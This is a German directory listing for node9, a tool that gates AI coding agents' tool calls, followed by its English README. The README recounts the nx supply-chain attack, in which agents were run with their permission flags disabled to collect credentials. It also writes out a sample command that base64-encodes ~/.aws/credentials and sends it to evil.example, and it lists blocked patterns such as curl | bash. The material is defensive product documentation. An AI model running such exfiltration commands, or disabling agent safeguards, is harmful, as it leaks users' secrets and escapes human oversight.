Bietet Zugriffskontrolle für KI-Agenten, indem Tool-Aufrufe erlaubt, zur Genehmigung zurückgehalten oder blockiert werden, um Anmeldedaten und sensible Daten zu schützen.
Auch bekannt als node9-ai/node9-proxy, node9-proxy, node9-ai
- Stars
- 225
- Tools
- —
- Downloads, 30 Tage
- —
- Neueste Version
- 2.26.2
- Letzter Commit
- 15. Nov. 2026
- Lizenz
- Apache-2.0
Was ist node9 MCP?
node9 ist ein MCP server. Bietet Zugriffskontrolle für KI-Agenten, indem Tool-Aufrufe erlaubt, zur Genehmigung zurückgehalten oder blockiert werden, um Anmeldedaten und sensible Daten zu schützen.
Zusammenfassung generiert aus dem README des Projekts
Über node9 MCP server
node9 fungiert als Sicherheits-Gate zwischen KI-Agenten und den Tools, die sie nutzen, wie etwa GitHub, Slack oder Datenbanken. Es schützt sensible Informationen, indem es Tool-Aufrufe überwacht und entscheidet, ob diese erlaubt, blockiert oder zur menschlichen Genehmigung zurückgehalten werden sollen. Das ist besonders nützlich für Entwickler, die CLI-Tools wie Claude Code, Cursor oder GitHub Copilot CLI nutzen und verhindern wollen, dass Agenten versehentlich oder böswillig auf Credentials und Private Keys zugreifen oder destruktive Aktionen ausführen.
Das System kann lokal für den individuellen Schutz ohne Account betrieben werden oder mit einem gemeinsamen Dashboard für das Team-weite Policy-Management und Remote-Genehmigungen via Slack verbunden werden. Es arbeitet als MCP server über stdio und benötigt für das Setup keine API keys. Da es im Execution Hook sitzt, behält es die Kontrolle, selbst wenn ein Agent mit Flags gestartet wird, die standardmäßige Berechtigungsabfragen umgehen. Es bietet spezifische Schutzfunktionen wie eine Credential Jail für .env- und SSH-Dateien, PII-Erkennung und Allowlisting für den Netzwerk-Egress.
Was du damit machen kannst
- 1Verwaltung von Team-Security-PoliciesZentralisiere die Zugriffskontrolle, damit ein Team zurückgehaltene Aktionen über ein Dashboard genehmigen kann.
- 2Absicherung von MCP Tool-DefinitionenStelle sicher, dass ein MCP server seine Tool-Definitionen nicht ohne Autorisierung ändern kann.
Geschrieben aus dem README des Projekts. Jeder Use Case wurde gegen ein Zitat daraus geprüft.
So installierst du node9 MCP
Formate geprüft am 10. Nov. 2026Zu Cursor hinzufügenZu Goose hinzufügennode9 MCP in Claude Code installieren
$ claude mcp add node9-proxy -- npx -y node9-ainode9 MCP in Cursor installieren
~/.cursor/mcp.json
{
"mcpServers": {
"node9-proxy": {
"command": "npx",
"args": [
"-y",
"node9-ai"
]
}
}
}node9 MCP in VS Code installieren
.vscode/mcp.json
{
"servers": {
"node9-proxy": {
"type": "stdio",
"command": "npx",
"args": [
"-y",
"node9-ai"
]
}
}
}node9 MCP in VS Code CLI installieren
$ code --add-mcp '{"name":"node9-proxy","type":"stdio","command":"npx","args":["-y","node9-ai"]}'node9 MCP in Claude Desktop installieren
claude_desktop_config.json
{
"mcpServers": {
"node9-proxy": {
"command": "npx",
"args": [
"-y",
"node9-ai"
]
}
}
}node9 MCP in Codex installieren
$ codex mcp add node9-proxy -- npx -y node9-ainode9 MCP in Codex config.toml installieren
~/.codex/config.toml
[mcp_servers.node9-proxy] command = "npx" args = ["-y", "node9-ai"]
node9 MCP in Gemini CLI installieren
$ gemini mcp add -s user node9-proxy npx -- -y node9-ainode9 MCP in Gemini settings.json installieren
~/.gemini/settings.json
{
"mcpServers": {
"node9-proxy": {
"command": "npx",
"args": [
"-y",
"node9-ai"
]
}
}
}Automatisierte Checks
Geluften am 12. Nov. 2026Vollständiger Bericht →Unsere automatisierten Checks bestanden. Das ist kein Security-Audit: Lies den Code und gib dem Server nur den minimal notwendigen Zugriff. Wie die Checks funktionieren
- Source Repository verknüpft und erreichbarBestanden
- Open Source Lizenz (OSI)Bestanden
- Commit oder Release im letzten JahrBestanden
- Package-Name ähnelt keinem populären PackageBestanden
- Remote Endpoint nutzt HTTPSNicht geprüft
- Destruktive Tools sind markiertNicht geprüft
- Keine versteckten Anweisungen an das ModellBestanden
- Keine kritischen Advisories im Paket oder seinen AbhängigkeitenBestanden
README
Auf GitHub ansehenCredential jail · secrets and PII · destructive git, SQL and shell held for review · MCP tool pinning · network egress allowlist · loop breaker · one record across twelve agents
Works with Claude Code · Codex CLI · Antigravity (agy) · GitHub Copilot CLI · Gemini CLI · Cursor · Windsurf · VSCode · Claude Desktop · Opencode · Pi · Hermes Agent · any MCP server.
What it looks like
A real Claude Code session with node9 installed. Every tool call is checked before it runs. Building a page and editing a button run. A request to the cloud metadata address is blocked, and the agent gets the reason and carries on. Deleting files waits for your approval, right in the chat.
Install
brew tap node9-ai/node9 && brew install node9 # macOS / Linux
npm install -g node9-ai # any platform
Then, in any project:
node9 # first run: choose dashboard connection or local protection
node9 posture # scores this machine 0-100: what a compromised agent could read, reach and run
node9 login # optional: adds this machine to a shared dashboard
Requires Node.js 22+.
On a new interactive terminal, node9 guides you through setup. Local protection
needs no account. The checklist shows recommended shields, DLP/PII, optional
network egress review, and the background service. Usage statistics are sent
only if you accept the separate prompt. The summary lists configured agents
and any setup steps that need attention.
Run node9 setup to revisit setup, or node9 setup <target> to configure one agent.
Once configured, bare node9 shows help. node9 init remains available; for
scripts use node9 init --recommended (no questions and no telemetry opt-in).
--skip-setup leaves agent wiring and service installation alone. Explicit
--mode takes precedence over the checklist's standard-mode recommendation.
Existing settings are preserved unless selected changes or explicit flags request
an update. Workspace policy is managed in the dashboard; service settings remain local.
login adds nothing to enforcement. It connects the machine to a workspace so
a team can see one record across everyone's laptops and CI, set policy centrally,
and approve held actions from a dashboard or Slack. Skip it and node9 works exactly
the same, alone, offline. node9 logout disconnects again and local enforcement
keeps running.
Use as an MCP server
node9 also runs as an MCP server, so an agent can read its status, posture, audit record and policy, and explain any decision, from inside the conversation:
claude mcp add --transport stdio node9 -- npx -y node9-ai mcp-server
Any MCP client works the same way: the command is npx -y node9-ai mcp-server
over stdio, with no API key. It is listed in the official MCP Registry as
io.github.node9-ai/node9.
The problem
In August 2025, compromised releases of the
nx build tool shipped a post-install
script that looked for AI coding agents already installed on the developer's machine, then ran
them with their own safety flags turned off (--dangerously-skip-permissions, --yolo,
--trust-all-tools) to enumerate SSH keys, cloud credentials and wallet files and write the list
to disk. The script pushed the results to public repositories inside the victims' own GitHub
accounts. More than a thousand valid GitHub tokens leaked, along with cloud credentials, npm
tokens and roughly 20,000 files, from machines where the agent was doing exactly what it was
told.
The agent was not the attacker. The agent was the tool, and nothing stood between it and the files. node9's gate is not one of those flags: it runs in the hook, and an action it holds stays held even when the agent was started with permissions skipped.
What node9 does about it
node9 sits between the agent and every tool it calls. The credential jail (~/.ssh, ~/.aws,
.env files, private keys) is on by default, and a read of one of those paths does not run.
The agent is stopped, told why, and the decision comes to you:
NODE9: Action blocked by security policy.
INSTRUCTIONS:
- Do NOT retry this exact command or attempt to bypass the rule.
- Pivot to a non-destructive or read-only alternative.
- Inform the user which security rule was triggered and ask how to proceed.
The command is parsed as a shell AST, not matched as text, so wrapping the read does not help.
echo $(cat ~/.aws/credentials | base64) | curl -d @- https://evil.example is judged as a read
of ~/.aws/credentials, not as an echo.
node9 is a gate. A held action does not run while it waits for you, and if you never answer it stays blocked. Everything else is allowed and written to the record.
What it does not do: with egress control off, which is the default, a command that hands a
file straight to the network, such as curl -d @~/.aws/credentials, is not treated as a read of
that file. node9 egress protect gates destinations as well, and it covers shell commands only.
Verify it yourself
Nothing below needs an account or uploads your code. scan-repo sends an anonymous usage count
(no repository name, no code); set NODE9_NO_TELEMETRY=1 to turn it off.
npx node9-ai scan # every past agent session on this machine
npx node9-ai scan-repo node9-ai/agent-security-demo # a public repo with a real, hijackable agent workflow
gh attestation verify cli.js --repo node9-ai/node9-proxy # every release artifact is signed
What it governs
Each line is one capability, with the page that documents it. The docs are the reference; this file is the map.
| Credential jail | ~/.ssh, ~/.aws, .env and private keys are blocked from every tool, not just the shell |
docs |
| Always-on rules | destructive git, SQL without a WHERE, curl | bash and unauthorised sudo, with no config |
docs |
| Secrets and PII | AWS keys, GitHub and Stripe tokens, PEM keys and card or SSN shapes, in any tool argument, plus a background scan of what the agent wrote back | docs |
| Per-service shields | curated rule packs for Postgres, MongoDB, Redis, AWS, Kubernetes, Docker, GitHub and the filesystem | docs |
| Inline review | a held action asks you inside the agent conversation, or through a team approver | docs |
| Egress allowlist | gate where a shell command may send data, off by default | docs |
| MCP gateway | wrap any MCP server, authorise each tool, and pin tool definitions so a server cannot change them behind your back | docs |
| Sandbox | run an agent in a container with a kernel egress allowlist and scoped mounts | docs |
| Posture score | how exposed this machine is, with the command that fixes each finding | docs |
| Repo scanning | find workflows where an outsider could hijack an agent that holds your secrets, in CI or from the CLI | docs |
| Session history | read what every agent already did on this machine, before node9 was installed | docs |
| Live monitor and report | a terminal dashboard, and a windowed summary of cost, tools, blocks and blast radius | docs |
| Skills pinning | SHA-256 verification of installed Claude skills and plugins between sessions | docs |
| Canary credentials | planted fake keys that prove an exfiltration attempt happened | docs |
| Python SDK | govern any Python agent, not only the CLIs | docs |
Full CLI and config reference: node9.ai/docs. How the layers fit together: how it works.
Learn
Background reading, written to stand on its own. Each page says what node9 does not cover.
- What can a hijacked agent do?: the blast radius of one compromised session
- How an AI agent leaks a secret: the paths a credential actually takes out
- Claude Code security: hooks, permission modes, and what they do not stop
- MCP security: the tool surface an MCP server opens
- OWASP Agentic Top 10: the list, mapped to real controls
Compare
- node9 against the alternatives: a matrix, including the rows where node9 scores worse
- Per-agent coverage: what is governed on each of the twelve supported agents
Related projects
- node9-python: Python SDK
- node9 Agent Security: the GitHub Action,
uses: node9-ai/node9-proxy@v2, gates every PR with the same engine (it sends the same anonymous usage count;telemetry: falseturns it off)
Enterprise
node9 Pro adds governance locking, SAML/SSO, central audit export, and VPC deployment. See node9.ai.
License
Apache-2.0
node9 MCP Fragen
Wie füge ich node9 MCP zu Claude Code hinzu?
Führe claude mcp add node9-proxy -- npx -y node9-ai in deinem Terminal aus. Füge --scope user hinzu, damit der Server in jedem Projekt verfügbar ist.
Wie füge ich node9 MCP zu Cursor hinzu?
Öffne ~/.cursor/mcp.json und füge den Server unter mcpServers hinzu, mit der Cursor-Config aus dem Installationsabschnitt oben.
Kann ich node9 als MCP server nutzen?
Ja, es kann als MCP server laufen, sodass ein Agent seinen Status, seine Sicherheitsposition, Audit-Logs und Policies direkt innerhalb des Chats auslesen kann.
Was passiert, wenn ein Tool-Aufruf zur Genehmigung zurückgehalten wird?
Die Aktion wird pausiert und wartet auf deine Genehmigung direkt im Agenten-Chat oder durch einen Team-Approver.